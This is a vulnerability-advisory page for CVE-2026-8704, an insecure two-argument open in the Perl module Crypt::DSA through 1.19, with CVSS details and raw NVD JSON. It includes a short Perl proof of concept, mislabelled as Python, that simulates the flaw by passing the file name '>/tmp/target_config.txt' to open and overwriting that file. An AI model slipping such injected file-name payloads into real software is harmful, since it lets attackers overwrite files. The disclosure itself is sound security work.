Security Vulnerability Report
中文
CVE-2026-8704 CVSS 6.5 MEDIUM

CVE-2026-8704

Published: 2026-05-15 23:16:22
Last Modified: 2026-05-18 17:40:45
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Crypt::DSA versions through 1.19 for Perl use 2-args open, allowing existing files to be modified.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Crypt::DSA <= 1.19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/perl # PoC for CVE-2026-8704: Demonstrating the insecure 2-arg open in Crypt::DSA <= 1.19 # This script simulates how a malicious filename can lead to arbitrary file modification. use strict; use warnings; # Simulating the vulnerable behavior found in Crypt::DSA::Key sub vulnerable_key_generation_simulation { my $user_input_filename = shift; print "[+] Attempting to write key to file using user input: $user_input_filename\n"; # VULNERABLE CODE PATTERN (2-arg open): # If $user_input_filename contains ">", it opens in write mode. # Example input: ">/tmp/malicious_file.txt" open(my $fh, $user_input_filename) or die "Cannot open file: $!"; # Simulating writing key data print $fh "-----BEGIN DSA PRIVATE KEY-----\n"; print $fh "MALICIOUS CONTENT INJECTED VIA 2-ARG OPEN\n"; print $fh "-----END DSA PRIVATE KEY-----\n"; close($fh); print "[+] File operation completed.\n"; } # Normal usage scenario # vulnerable_key_generation_simulation("dsa_key.pem"); # Exploitation scenario: # The attacker supplies a filename with a pipe '>' or path traversal '../' # to modify an existing sensitive file. print "[-] Starting Exploit Test...\n"; my $payload = ">/tmp/target_config.txt"; # Note: In a real scenario, this might come from a deserialized object or untrusted input. vulnerable_key_generation_simulation($payload); # Verify modification if (-e "/tmp/target_config.txt") { print "[SUCCESS] /tmp/target_config.txt was created/modified.\n"; } else { print "[FAIL] File not found.\n"; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8704", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-15T23:16:21.740", "lastModified": "2026-05-18T17:40:45.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crypt::DSA versions through 1.19 for Perl use 2-args open, allowing existing files to be modified."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-552"}]}], "references": [{"url": "https://metacpan.org/release/TIMLEGGE/Crypt-DSA-1.20/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/TIMLEGGE/Crypt-DSA-1.20/diff/TIMLEGGE/Crypt-DSA-1.19#lib/Crypt/DSA/Key.pm", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/15/27", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}